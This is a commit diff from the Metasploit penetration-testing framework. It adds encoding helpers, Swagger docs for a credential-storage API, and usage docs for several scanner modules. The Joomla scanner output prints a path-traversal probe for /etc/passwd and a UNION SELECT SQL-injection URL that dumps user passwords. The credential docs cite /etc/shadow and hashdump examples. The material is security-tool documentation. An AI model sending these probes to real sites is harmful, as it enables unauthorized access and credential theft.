Merge branch 'master' into conform_to_api_standards

GSoC/Meterpreter_Web_Console
James Barnett 2018-07-24 12:11:14 -05:00
commit eccd223a3e
No known key found for this signature in database
GPG Key ID: 647983861A4EC5EA
71 changed files with 12925 additions and 7806 deletions

View File

@ -120,7 +120,7 @@ GEM
crass (1.0.4)
daemons (1.2.6)
diff-lcs (1.3)
dnsruby (1.61.1)
dnsruby (1.61.2)
addressable (~> 2.5)
docile (1.3.1)
erubis (2.7.0)
@ -349,7 +349,7 @@ GEM
activemodel (>= 4.2.7)
activesupport (>= 4.2.7)
xmlrpc (0.3.0)
yard (0.9.14)
yard (0.9.15)
PLATFORMS
ruby

View File

@ -0,0 +1,114 @@
/* from https://github.com/mdornseif/didentd */
/* public domain
* BASE64 on stdin -> converted data on stdout */
/* arbitrary data on stdin -> BASE64 data on stdout
* UNIX's newline convention is used, i.e. one ASCII control-j (10 decimal).
*
* public domain
*/
/* Hacked by drt@un.bewaff.net to be a library function working on memory blocks
*
*/
static unsigned char alphabet[64] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
int base64decode(char *dest, const char *src, int l)
{
static char inalphabet[256], decoder[256];
static bool table_initialized = false;
int i, bits, c, char_count;
int rpos;
int wpos = 0;
if (!table_initialized) {
for (i = (sizeof alphabet) - 1; i >= 0; i--) {
inalphabet[alphabet[i]] = 1;
decoder[alphabet[i]] = i;
}
table_initialized = true;
}
char_count = 0;
bits = 0;
for (rpos = 0; rpos < l; rpos++) {
c = src[rpos];
if (c == '=') {
break;
}
if (c > 255 || !inalphabet[c]) {
return -1;
}
bits += decoder[c];
char_count++;
if (char_count < 4) {
bits <<= 6;
} else {
dest[wpos++] = bits >> 16;
dest[wpos++] = (bits >> 8) & 0xff;
dest[wpos++] = bits & 0xff;
bits = 0;
char_count = 0;
}
}
switch (char_count) {
case 1:
return -1;
break;
case 2:
dest[wpos++] = bits >> 10;
break;
case 3:
dest[wpos++] = bits >> 16;
dest[wpos++] = (bits >> 8) & 0xff;
break;
}
return wpos;
}
int base64encode(char *dest, const char *src, int l)
{
int bits, c, char_count;
int rpos;
int wpos = 0;
char_count = 0;
bits = 0;
for (rpos = 0; rpos < l; rpos++) {
c = src[rpos];
bits += c;
char_count++;
if (char_count < 3) {
bits <<= 8;
} else {
dest[wpos++] = alphabet[bits >> 18];
dest[wpos++] = alphabet[(bits >> 12) & 0x3f];
dest[wpos++] = alphabet[(bits >> 6) & 0x3f];
dest[wpos++] = alphabet[bits & 0x3f];
bits = 0;
char_count = 0;
}
}
if (char_count != 0) {
bits <<= 16 - (8 * char_count);
dest[wpos++] = alphabet[bits >> 18];
dest[wpos++] = alphabet[(bits >> 12) & 0x3f];
if (char_count == 1) {
dest[wpos++] = '=';
dest[wpos++] = '=';
} else {
dest[wpos++] = alphabet[(bits >> 6) & 0x3f];
dest[wpos++] = '=';
}
}
return wpos;
}

View File

@ -0,0 +1,54 @@
//
// License:
// https://github.com/rapid7/metasploit-framework/blob/master/LICENSE
//
// This code was originally obtained and modified from the following source
// by Bobin Verton:
// https://gist.github.com/rverton/a44fc8ca67ab9ec32089
#define N 256 // 2^8
void swap(unsigned char *a, unsigned char *b) {
int tmp = *a;
*a = *b;
*b = tmp;
}
int KSA(char *key, unsigned char *S) {
int len = strlen(key);
int j = 0;
for (int i = 0; i < N; i++) {
S[i] = i;
}
for (int i = 0; i < N; i++) {
j = (j + S[i] + key[i % len]) % N;
swap(&S[i], &S[j]);
}
return 0;
}
int PRGA(unsigned char *S, char *plaintext, unsigned char *ciphertext, int plainTextSize) {
int i = 0;
int j = 0;
for (size_t n = 0, len = plainTextSize; n < len; n++) {
i = (i + 1) % N;
j = (j + S[i]) % N;
swap(&S[i], &S[j]);
int rnd = S[(S[i] + S[j]) % N];
ciphertext[n] = rnd ^ plaintext[n];
}
return 0;
}
int RC4(char *key, char *plaintext, unsigned char *ciphertext, int plainTextSize) {
unsigned char S[N];
KSA(key, S);
PRGA(S, plaintext, ciphertext, plainTextSize);
return 0;
}

View File

@ -6,6 +6,8 @@
#define NULL ((void *)0)
#define TRUE 1
#define FALSE 0
#define true 1
#define false 0
#define VOID void
#define _tWinMain WinMain
#define CALLBACK __stdcall
@ -104,6 +106,7 @@ typedef void* LPCVOID;
typedef ULONG_PTR DWORD_PTR;
typedef void* HWND;
typedef int BOOL;
typedef int bool;
typedef BOOL* PBOOL;
typedef LONG_PTR LRESULT;
typedef UINT_PTR WPARAM;

View File

@ -0,0 +1,11 @@
//
// License:
// https://github.com/rapid7/metasploit-framework/blob/master/LICENSE
//
void xor(char* dest, char* src, char key, int len) {
for (int i = 0; i < len; i++) {
char c = src[i] ^ key;
dest[i] = c;
}
}

File diff suppressed because it is too large Load Diff

View File

@ -5,34 +5,105 @@ module CredentialApiDoc
include Swagger::Blocks
ORIGIN_ID_DESC = 'The ID of the origin record associated with this credential.'
ORIGIN_TYPE = 'The class name within Metasploit::Credential that indicates where this credential came from.'
ORIGIN_TYPE_DESC = 'The class name within Metasploit::Credential that indicates where this credential came from.'
PRIVATE_ID_DESC = 'The ID of the Metasploit::Credential::Private record associated with this credential.'
PUBLIC_ID_DESC = 'The ID of the Metasploit::Credential::Public record associated with this credential.'
REALM_ID_DESC = 'The ID of the Metasploit::Credential::Realm from where the credential was gathered.'
LOGINS_COUNT_DESC = 'The number of successful login attempts that were completed using this credential.'
ORIGIN_TYPE_ENUM = [
ADDRESS_DESC = 'The IP address of the host this credential was collected from.'
ADDRESS_EXAMPLE = '127.0.0.1'
SERVICE_NAME_DESC = 'The name of the service from which this credential was collected from.'
SERVICE_NAME_EXAMPLE = 'ssh'
PORT_DESC = 'The port on which the service was listening where this credential was collected from.'
PORT_EXAMPLE = '22'
PROTOCOL_DESC = 'The protocol the service was using.'
PROTOCOL_ENUM = [ 'tcp', 'udp' ]
MODULE_FULLNAME_DESC = 'The full name of the Metasploit module that was used to collect this credential.'
MODULE_FULLNAME_EXAMPLE = 'auxiliary/scanner/smb/smb_login'
FILENAME_DESC = 'The filename of the file that was imported. This is necessary when the origin_type is import.'
FILENAME_EXAMPLE = '/etc/shadow'
POST_REFERENCE_NAME_DESC = 'The reference name of the Metasploit Post module used to collect this credential.'
POST_REFERENCE_NAME_EXAMPLE = 'post/linux/gather/hashdump'
SESSION_ID_DESC = 'The ID of the session where this credential was collected from.'
USERNAME_DESC = 'The username for this credential.'
USERNAME_EXAMPLE = 'administrator'
PUBLIC_TYPE_DESC = 'The type of username that this falls into. This is used for searching for similar credentials.'
PRIVATE_TYPE_DESC = 'The type of password data for this credential.'
DATA_DESC = 'The private data for this credential. The semantic meaning of this data varies based on the type.'
DATA_EXAMPLE = "'password123', '$1$5nfRD/bA$y7ZZD0NimJTbX9FtvhHJX1', or '$NT$7f8fe03093cc84b267b109625f6bbf4b'"
JTR_FORMAT_DESC = 'Comma-separated list of the formats for John the ripper to use to try and crack this.'
JTR_FORMAT_EXAMPLE = 'md5,des,bsdi,crypt'
PUBLIC_TYPE_ENUM = [ 'Metasploit::Credential::BlankUsername', 'Metasploit::Credential::Username' ]
PRIVATE_TYPE_CLASS_ENUM = [
'Metasploit::Credential::ReplayableHash',
'Metasploit::Credential::NonreplayableHash',
'Metasploit::Credential::NTLMHash',
'Metasploit::Credential::Password',
'Metasploit::Credential::PasswordHash',
'Metasploit::Credential::SSHKey',
'Metasploit::Credential::PostgresMD5',
'Metasploit::Credential::BlankPassword'
]
PRIVATE_TYPE_ENUM = [
'password',
'ssh_key',
'ntlm_hash',
'postgres_md5',
'nonreplayable_hash',
'<blank>'
]
ORIGIN_TYPE_CLASS_ENUM = [
'Metasploit::Credential::Origin::Import',
'Metasploit::Credential::Origin::Manual',
'Metasploit::Credential::Origin::Service',
'Metasploit::Credential::Origin::Session'
]
ORIGIN_TYPE_ENUM = [
'import',
'manual',
'service',
'session'
]
# Swagger documentation for Credential model
swagger_schema :Credential do
key :required, [:origin_id]
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
property :origin_id, type: :integer, format: :int32, description: ORIGIN_ID_DESC
property :origin_type, type: :string, description: ORIGIN_TYPE, enum: ORIGIN_TYPE_ENUM
property :origin_type, type: :string, description: ORIGIN_TYPE_DESC, enum: ORIGIN_TYPE_CLASS_ENUM
property :private_id, type: :integer, format: :int32, description: PRIVATE_ID_DESC
property :public_id, type: :integer, format: :int32, description: PUBLIC_ID_DESC
property :realm_id, type: :integer, format: :int32, description: REALM_ID_DESC
property :workspace_id, type: :integer, format: :int32, description: RootApiDoc::WORKSPACE_ID_DESC
property :workspace_id, type: :integer, format: :int32, required: true, description: RootApiDoc::WORKSPACE_ID_DESC
property :logins_count, type: :integer, format: :int32, description: LOGINS_COUNT_DESC
property :logins do
key :type, :array
items do
key :'$ref', :Login
end
end
property :public, '$ref': :Public
property :private, '$ref': :Private
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
end
swagger_schema :Public do
key :required, [:username, :type]
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
property :username, type: :string, description: USERNAME_DESC, example: USERNAME_EXAMPLE
property :type, type: :string, description: PUBLIC_TYPE_DESC, enum: PUBLIC_TYPE_ENUM
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
end
swagger_schema :Private do
key :required, [:data, :type]
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
property :data, type: :string, description: DATA_DESC, example: DATA_EXAMPLE
property :type, type: :string, description: PRIVATE_TYPE_DESC, enum: PRIVATE_TYPE_CLASS_ENUM
property :jtr_format, type: :string, description: JTR_FORMAT_DESC, example: JTR_FORMAT_EXAMPLE
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
end
@ -46,44 +117,44 @@ module CredentialApiDoc
parameter :workspace
parameter do
key :in, :body
key :name, :body
key :required, true
schema do
property :svcs do
key :in, :body
key :description, 'Only return credentials of the specified service.'
key :type, :array
key :required, false
items do
key :type, :string
end
end
property :ptype do
key :in, :body
key :description, 'The type of credential to return.'
key :type, :string
key :required, false
key :enum, ['password','ntlm','hash']
end
property :user do
key :in, :body
key :description, 'Only return credentials where the user matches this regex.'
key :type, :string
key :required, false
end
property :pass do
key :in, :body
key :description, 'Only return credentials where the password matches this regex.'
key :type, :string
key :required, false
end
key :in, :query
key :name, :svcs
key :description, 'Only return credentials of the specified service.'
key :example, ['ssh', 'owa', 'smb']
key :type, :array
key :required, false
items do
key :type, :string
end
end
parameter do
key :in, :query
key :name, :type
key :description, 'The type of credential to return.'
key :type, :string
key :required, false
key :enum, PRIVATE_TYPE_CLASS_ENUM
end
parameter do
key :in, :query
key :name, :user
key :description, 'Only return credentials where the user matches this regex.'
key :example, 'administrator'
key :type, :string
key :required, false
end
parameter do
key :in, :query
key :name, :pass
key :description, 'Only return credentials where the password matches this regex.'
key :example, 'password123'
key :type, :string
key :required, false
end
response 200 do
key :description, 'Returns credential data.'
schema do
@ -106,7 +177,20 @@ module CredentialApiDoc
key :description, 'The attributes to assign to the credential.'
key :required, true
schema do
key :'$ref', :Credential
property :workspace_id, type: :integer, format: :int32, required: true, description: RootApiDoc::WORKSPACE_ID_DESC
property :username, type: :string, description: USERNAME_DESC, example: USERNAME_EXAMPLE
property :private_data, type: :string, description: DATA_DESC, example: DATA_EXAMPLE
property :private_type, type: :string, description: PRIVATE_TYPE_DESC, enum: PRIVATE_TYPE_ENUM
property :jtr_format, type: :string, description: JTR_FORMAT_DESC, example: JTR_FORMAT_EXAMPLE
property :address, type: :string, format: :ipv4, required: true, description: ADDRESS_DESC, example: ADDRESS_EXAMPLE
property :port, type: :int32, format: :int32, description: PORT_DESC, example: PORT_EXAMPLE
property :service_name, type: :string, description: SERVICE_NAME_DESC, example: SERVICE_NAME_EXAMPLE
property :protocol, type: :string, description: PROTOCOL_DESC, enum: PROTOCOL_ENUM
property :origin_type, type: :string, description: ORIGIN_TYPE_DESC, enum: ORIGIN_TYPE_ENUM
property :module_fullname, type: :string, description: MODULE_FULLNAME_DESC, example: MODULE_FULLNAME_EXAMPLE
property :filename, type: :string, description: FILENAME_DESC, example: FILENAME_EXAMPLE
property :session_id, type: :integer, format: :int32, description: SESSION_ID_DESC
property :post_reference_name, type: :string, description: POST_REFERENCE_NAME_DESC, example: POST_REFERENCE_NAME_EXAMPLE
end
end
@ -119,17 +203,47 @@ module CredentialApiDoc
end
end
# This endpoint is NYI.
#
# # Swagger documentation for /api/v1/credentials/ DELETE
# operation :delete do
# key :description, 'Delete the specified credentials.'
# Swagger documentation for /api/v1/credentials/ DELETE
operation :delete do
key :description, 'Delete the specified credentials.'
key :tags, [ 'credential' ]
parameter :delete_opts
response 200 do
key :description, 'Successful operation.'
schema do
key :type, :array
items do
key :'$ref', :Credential
end
end
end
end
end
swagger_path '/api/v1/credentials/{id}' do
# Swagger documentation for api/v1/credentials/:id GET
# TODO: Uncomment below when this endpoint is implemented.
# operation :get do
# key :description, 'Return credentials that are stored in the database.'
# key :tags, [ 'credential' ]
#
# parameter :delete_opts
# parameter :workspace
# parameter :non_dead
# parameter :address
#
# parameter do
# key :name, :id
# key :in, :path
# key :description, 'ID of credential to retrieve.'
# key :required, true
# key :type, :integer
# key :format, :int32
# end
#
# response 200 do
# key :description, 'Successful operation'
# key :description, 'Returns credential data.'
# schema do
# key :type, :array
# items do
@ -138,66 +252,31 @@ module CredentialApiDoc
# end
# end
# end
#Swagger documentation for /api/v1/credentials/:id PUT
operation :put do
key :description, 'Update the attributes an existing credential.'
key :tags, [ 'credential' ]
parameter :update_id
parameter do
key :in, :body
key :name, :body
key :description, 'The updated attributes to overwrite to the credential.'
key :required, true
schema do
key :'$ref', :Credential
end
end
response 200 do
key :description, 'Successful operation.'
schema do
key :type, :object
key :'$ref', :Credential
end
end
end
end
# This endpoint is NYI.
#
# swagger_path '/api/v1/credentials/:id' do
# # Swagger documentation for api/v1/credentials/:id GET
# operation :get do
# key :description, 'Return credentials that are stored in the database.'
# key :tags, [ 'credential' ]
#
# parameter :workspace
# parameter :non_dead
# parameter :address
#
# parameter do
# key :name, :id
# key :in, :path
# key :description, 'ID of credential to retrieve'
# key :required, true
# key :type, :integer
# key :format, :int32
# end
#
# response 200 do
# key :description, 'Returns credential data'
# schema do
# key :type, :array
# items do
# key :'$ref', :Credential
# end
# end
# end
# end
# This endpoint is NYI.
#
# Swagger documentation for /api/v1/credentials/:id PUT
# operation :put do
# key :description, 'Update the attributes an existing credential.'
# key :tags, [ 'credential' ]
#
# parameter :update_id
#
# parameter do
# key :in, :body
# key :name, :body
# key :description, 'The updated attributes to overwrite to the credential'
# key :required, true
# schema do
# key :'$ref', :Credential
# end
# end
#
# response 200 do
# key :description, 'Successful operation'
# schema do
# key :type, :object
# key :'$ref', :Credential
# end
# end
# end
#end
end
end

View File

@ -0,0 +1,141 @@
require 'swagger/blocks'
module LoginApiDoc
include Swagger::Blocks
CORE_ID_DESC = 'The ID of the Metasploit::Credential::Core object this login is associated with.'
CORE_DESC = 'The Metasploit::Credential::Core object that corresponds to the credential pair this login attempt used.'
SERVICE_ID_DESC = 'The ID of the service object that this login was attempted against.'
ACCESS_LEVEL_DESC = 'A free-form text field that can be used to annotate the access level of this login.'
ACCESS_LEVEL_EXAMPLE = "'admin', 'sudoer', or 'user'"
STATUS_DESC = 'The result of the login attempt.'
LAST_ATTEMPTED_AT_DESC = 'The date and time the login attempt occurred.'
SERVICE_NAME_DESC = 'The name of the service that the login was attempted against.'
SERVICE_NAME_EXAMPLE = 'ssh'
ADDRESS_DESC = 'The IP address of the host/service this login was attempted against.'
ADDRESS_EXAMPLE = '127.0.0.1'
PORT_DESC = 'The port the service was listening on.'
PORT_EXAMPLE = '22'
PROTOCOL_DESC = 'The protocol the service was using.'
PROTOCOL_ENUM = [ 'tcp', 'udp' ]
# Values from lib/metasploit/model/login/status.rb in the metasploit-model repo
STATUS_ENUM = [
'Denied Access',
'Disabled',
'Incorrect',
'Locked Out',
'No Auth Required',
'Successful',
'Unable to Connect',
'Untried'
]
# Swagger documentation for Login model
swagger_schema :Login do
key :required, [:address, :name]
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
property :core_id, type: :integer, format: :int32, required: true, description: CORE_ID_DESC
property :service_id, type: :integer, format: :int32, required: true, description: SERVICE_ID_DESC
property :access_level, type: :string, description: ACCESS_LEVEL_DESC, example: ACCESS_LEVEL_EXAMPLE
property :status, type: :string, description: STATUS_DESC, required: true, enum: STATUS_ENUM
property :last_attempted_at, type: :string, format: :date_time, description: LAST_ATTEMPTED_AT_DESC
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
end
swagger_path '/api/v1/logins' do
# Swagger documentation for /api/v1/logins GET
operation :get do
key :description, 'Return logins that are stored in the database.'
key :tags, [ 'login' ]
response 200 do
key :description, 'Returns login data.'
schema do
key :type, :array
items do
key :'$ref', :Login
end
end
end
end
# Swagger documentation for /api/v1/logins POST
operation :post do
key :description, 'Create a login.'
key :tags, [ 'login' ]
parameter do
key :in, :body
key :name, :body
key :description, 'The attributes to assign to the login.'
key :required, true
schema do
property :workspace_id, type: :integer, format: :int32, required: true, description: RootApiDoc::WORKSPACE_ID_DESC
property :core, '$ref' => :Credential, required: true, description: CORE_DESC
property :last_attempted_at, type: :string, format: :date_time, required: true, description: LAST_ATTEMPTED_AT_DESC
property :address, type: :string, format: :ipv4, required: true, description: ADDRESS_DESC, example: ADDRESS_EXAMPLE
property :service_name, type: :string, description: SERVICE_NAME_DESC, example: SERVICE_NAME_EXAMPLE
property :port, type: :int32, format: :int32, description: PORT_DESC, example: PORT_EXAMPLE
property :protocol, type: :string, description: PROTOCOL_DESC, enum: PROTOCOL_ENUM
property :status, type: :string, required: true, description: STATUS_DESC, enum: STATUS_ENUM
property :access_level, type: :string, description: ACCESS_LEVEL_DESC, example: ACCESS_LEVEL_EXAMPLE
end
end
response 200 do
key :description, 'Successful operation.'
schema do
key :type, :object
key :'$ref', :Login
end
end
end
# Swagger documentation for /api/v1/logins/ DELETE
operation :delete do
key :description, 'Delete the specified logins.'
key :tags, [ 'login' ]
parameter :delete_opts
response 200 do
key :description, 'Successful operation.'
schema do
key :type, :array
items do
key :'$ref', :Login
end
end
end
end
end
swagger_path '/api/v1/logins/{id}' do
# Swagger documentation for /api/v1/logins/:id PUT
operation :put do
key :description, 'Update the attributes an existing login.'
key :tags, [ 'login' ]
parameter :update_id
parameter do
key :in, :body
key :name, :body
key :description, 'The updated attributes to overwrite to the login.'
key :required, true
schema do
key :'$ref', :Login
end
end
response 200 do
key :description, 'Successful operation.'
schema do
key :type, :object
key :'$ref', :Login
end
end
end
end
end

View File

@ -35,6 +35,7 @@ module RootApiDoc
tag name: 'event', description: 'Event operations.'
tag name: 'exploit', description: 'Exploit operations.'
tag name: 'host', description: 'Host operations.'
tag name: 'login', description: 'Login operations.'
tag name: 'loot', description: 'Loot operations.'
tag name: 'msf', description: 'Utility operations around Metasploit Framework.'
tag name: 'nmap', description: 'Nmap operations.'

View File

@ -0,0 +1,62 @@
## Vulnerable Application
Apple Filing Protocol (AFP) is Apple's file sharing protocol similar to SMB, and NFS. This module will gather information about the service.
Netatalk is a Linux implementation of AFP.
The following was done on Ubuntu 16.04, and is largely base on [missingreadme.wordpress.com](https://missingreadme.wordpress.com/2010/05/08/how-to-set-up-afp-filesharing-on-ubuntu/):
1. `sudo apt-get install netatalk`
2. edit `/etc/default/netatalk` and add the following lines:
```
ATALKD_RUN=no
PAPD_RUN=no
CNID_METAD_RUN=yes
AFPD_RUN=yes
TIMELORD_RUN=no
A2BOOT_RUN=no
```
3. Restart the service: `sudo /etc/init.d/netatalk restart`
## Verification Steps
1. Install and configure afp (or netatalk in a Linux environment)
2. Start msfconsole
3. Do: `auxiliary/scanner/afp/afp_server_info`
4. Do: `run`
## Scenarios
A run against the configuration from these docs
```
msf5 auxiliary(scanner/acpp/login) > use auxiliary/scanner/afp/afp_server_info
msf5 auxiliary(scanner/afp/afp_server_info) > set rhosts 1.1.1.1
rhosts => 1.1.1.1
msf5 auxiliary(scanner/afp/afp_server_info) > run
[*] 1.1.1.1:548 - AFP 1.1.1.1 Scanning...
[*] 1.1.1.1:548 - AFP 1.1.1.1:548:548 AFP:
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Server Name: ubuntu
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Server Flags:
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Super Client: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * UUIDs: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * UTF8 Server Name: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Open Directory: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Reconnect: false
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Server Notifications: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * TCP/IP: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Server Signature: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Server Messages: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Password Saving Prohibited: false
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Password Changing: false
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Copy File: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Machine Type: Netatalk2.2.5
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 AFP Versions: AFP2.2, AFPX03, AFP3.1, AFP3.2, AFP3.3
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 UAMs: Cleartxt Passwrd, DHX2
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Server Signature: 975394e16633312406281959287fcbd9
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Server Network Address:
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * 1.1.1.1
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 UTF8 Server Name: ubuntu
[*] 1.1.1.1:548 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

View File

@ -0,0 +1,16 @@
## Intro
This module scans for h.323 servers and determines the version and information about the server.
## Usage
```
msf5 auxiliary(scanner/sip/options) > use auxiliary/scanner/h323/h323_version
msf5 auxiliary(scanner/h323/h323_version) > set rhosts 1.1.1.1
rhosts => 1.1.1.1
msf5 auxiliary(scanner/h323/h323_version) > run
[+] 1.1.1.1:1720 - 1.1.1.1:1720 Protocol: 3 VendorID: 0x6100023c VersionID: v.5.4 ProductID: Gateway
[*] 1.1.1.1:1720 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

View File

@ -0,0 +1,45 @@
## Intro
This module scans a web server for a file name with various backup type extensions.
The list of extensions are:
1. .backup
2. .bak
3. .copy
4. .copia
5. .old
6. .orig
7. .temp
8. .txt
9. ~
## Usage
In the basic config, you'll search for the extensions on `/index.asp`, which may not be very useful.
In this scenario, we look for `/backup` instead. On the web server, we've created the files `backup.old`,
`backup.orig`, and `backup~`.
```
msf5 > use auxiliary/scanner/http/backup_file
msf5 auxiliary(scanner/http/backup_file) > set verbose true
verbose => true
msf5 auxiliary(scanner/http/backup_file) > set path /backup
path => /backup
msf5 auxiliary(scanner/http/backup_file) > set rhosts 192.168.2.39
rhosts => 192.168.2.39
msf5 auxiliary(scanner/http/backup_file) > run
[*] NOT Found http://192.168.2.39:80/backup.backup
[*] NOT Found http://192.168.2.39:80/backup.bak
[*] NOT Found http://192.168.2.39:80/backup.copy
[*] NOT Found http://192.168.2.39:80/backup.copia
[+] Found http://192.168.2.39:80/backup.old
[+] Found http://192.168.2.39:80/backup.orig
[*] NOT Found http://192.168.2.39:80/backup.temp
[*] NOT Found http://192.168.2.39:80/backup.txt
[+] Found http://192.168.2.39:80/backup~
[*] NOT Found http://192.168.2.39:80/.backup.swp
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

View File

@ -0,0 +1,31 @@
## Intro
This module pulls and parses the URLs stored by Archive.org for the purpose of replaying
during a web assessment. Finding unlinked and old pages. This module utilizes
[Archive.org's Wayback Machine](https://archive.org/web/)'s [API](https://archive.org/help/wayback_api.php).
## Usage
```
msf5 > use auxiliary/scanner/http/enum_wayback
msf5 auxiliary(scanner/http/enum_wayback) > set domain rapid7.com
domain => rapid7.com
msf5 auxiliary(scanner/http/enum_wayback) > run
[*] Pulling urls from Archive.org
[*] Located 43656 addresses for rapid7.com
http://mailto:info@rapid7.com/
http://mailto:sales@rapid7.com/
http://mailto:sales@rapid7.com/robots.txt
http://rapid7.com
http://rapid7.com/
http://rapid7.com/GlobalStyleSheet.css
http://rapid7.com/WebResources/images/Background2.gif
http://rapid7.com/WebResources/images/GlobalNavigation/Downloads_u.gif
http://rapid7.com/WebResources/images/GlobalNavigation/Home_d.gif
http://rapid7.com/WebResources/images/GlobalNavigation/NeXpose_d.gif
http://rapid7.com/WebResources/images/GlobalNavigation/NeXpose_u.gif
http://rapid7.com/WebResources/images/GlobalNavigation/Support_d.gif
http://rapid7.com/WebResources/images/GlobalNavigation/Support_u.gif
...snip...
```

View File

@ -0,0 +1,26 @@
## Intro
This module scans for Joomla Content Management System running on a web server for the following pages:
1. `robots.txt`
2. `administrator/index.php`
3. `admin/`
4. `index.php/using-joomla/extensions/components/users-component/registration-form`
5. `index.php/component/users/?view=registration`
6. `htaccess.txt`
## Usage
```
msf5 > use auxiliary/scanner/http/joomla_pages
msf5 auxiliary(scanner/http/joomla_pages) > set rhosts 192.168.2.39
rhosts => 192.168.2.39
msf5 auxiliary(scanner/http/joomla_pages) > run
[+] Page Found: /robots.txt
[+] Page Found: /administrator/index.php
[+] Page Found: /htaccess.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

View File

@ -0,0 +1,143 @@
## Intro
This module scans for Joomla Content Management System running on a web server for components/plugins.
The list can be found in [data/wordlists/joomla.txt](https://github.com/rapid7/metasploit-framework/blob/master/data/wordlists/joomla.txt).
## Usage
```
msf5 > use auxiliary/scanner/http/joomla_plugins
msf5 auxiliary(scanner/http/joomla_plugins) > set rhosts 192.168.2.39
rhosts => 192.168.2.39
msf5 auxiliary(scanner/http/joomla_plugins) > run
[+] Plugin: /?1.5.10-x
[+] Plugin: /?1.5.11-x-http_ref
[+] Plugin: /?1.5.11-x-php-s3lf
[+] Plugin: /?1.5.3-path-disclose
[+] Plugin: /?1.5.3-spam
[+] Plugin: /?1.5.8-x
[+] Plugin: /?1.5.9-x
[+] Plugin: /?j1012-fixate-session
[+] Plugin: /administrator/
[+] Plugin: /administrator/components/
[+] Plugin: /administrator/components/com_admin/
[+] Plugin: /administrator/index.php?option=com_djartgallery&task=editItem&cid[]=1'+and+1=1+--+
[+] Plugin: /administrator/index.php?option=com_searchlog&act=log
[+] Plugin: /components/com_banners/
[+] Plugin: /components/com_content/
[+] Page: /index.php?option=com_content
[+] Plugin: /components/com_mailto/
[+] Plugin: /components/com_search/
[+] Page: /index.php?option=com_search
[+] Plugin: /components/com_users/
[+] Page: /index.php?option=com_users
[+] Plugin: /index.php?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&jat3action=gzip&amp;type=css&v=1
[+] Vulnerability: Potential LFI
[+] Plugin: /index.php?option=com_newsfeeds&view=categories&feedid=-1%20union%20select%201,concat%28username,char%2858%29,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30%20from%20jos_users--
[+] Page: /index.php?option=com_newsfeeds&view=categories&feedid=-1%20union%20select%201,concat%28username,char%2858%29,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30%20from%20jos
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
## Confirming using Joomscan
The `-ec` flag is used to enumerate components/plugins.
```
# joomscan -u 192.168.2.39 -ec
____ _____ _____ __ __ ___ ___ __ _ _
(_ _)( _ )( _ )( \/ )/ __) / __) /__\ ( \( )
.-_)( )(_)( )(_)( ) ( \__ \( (__ /(__)\ ) (
\____) (_____)(_____)(_/\/\_)(___/ \___)(__)(__)(_)\_)
(1337.today)
--=[OWASP JoomScan
+---++---==[Version : 0.0.5
+---++---==[Update Date : [2018/03/13]
+---++---==[Authors : Mohammad Reza Espargham , Ali Razmjoo
--=[Code name : KLOT
@OWASP_JoomScan , @rezesp , @Ali_Razmjo0 , @OWASP
Processing http://192.168.2.39 ...
...snip...
[+] Enumeration component (com_ajax)
[++] Name: com_ajax
Location : http://192.168.2.39/components/com_ajax/
Directory listing is enabled : http://192.168.2.39/components/com_ajax/
[+] Enumeration component (com_banners)
[++] Name: com_banners
Location : http://192.168.2.39/components/com_banners/
Directory listing is enabled : http://192.168.2.39/components/com_banners/
[+] Enumeration component (com_contact)
[++] Name: com_contact
Location : http://192.168.2.39/components/com_contact/
Directory listing is enabled : http://192.168.2.39/components/com_contact/
[+] Enumeration component (com_content)
[++] Name: com_content
Location : http://192.168.2.39/components/com_content/
Directory listing is enabled : http://192.168.2.39/components/com_content/
[+] Enumeration component (com_contenthistory)
[++] Name: com_contenthistory
Location : http://192.168.2.39/components/com_contenthistory/
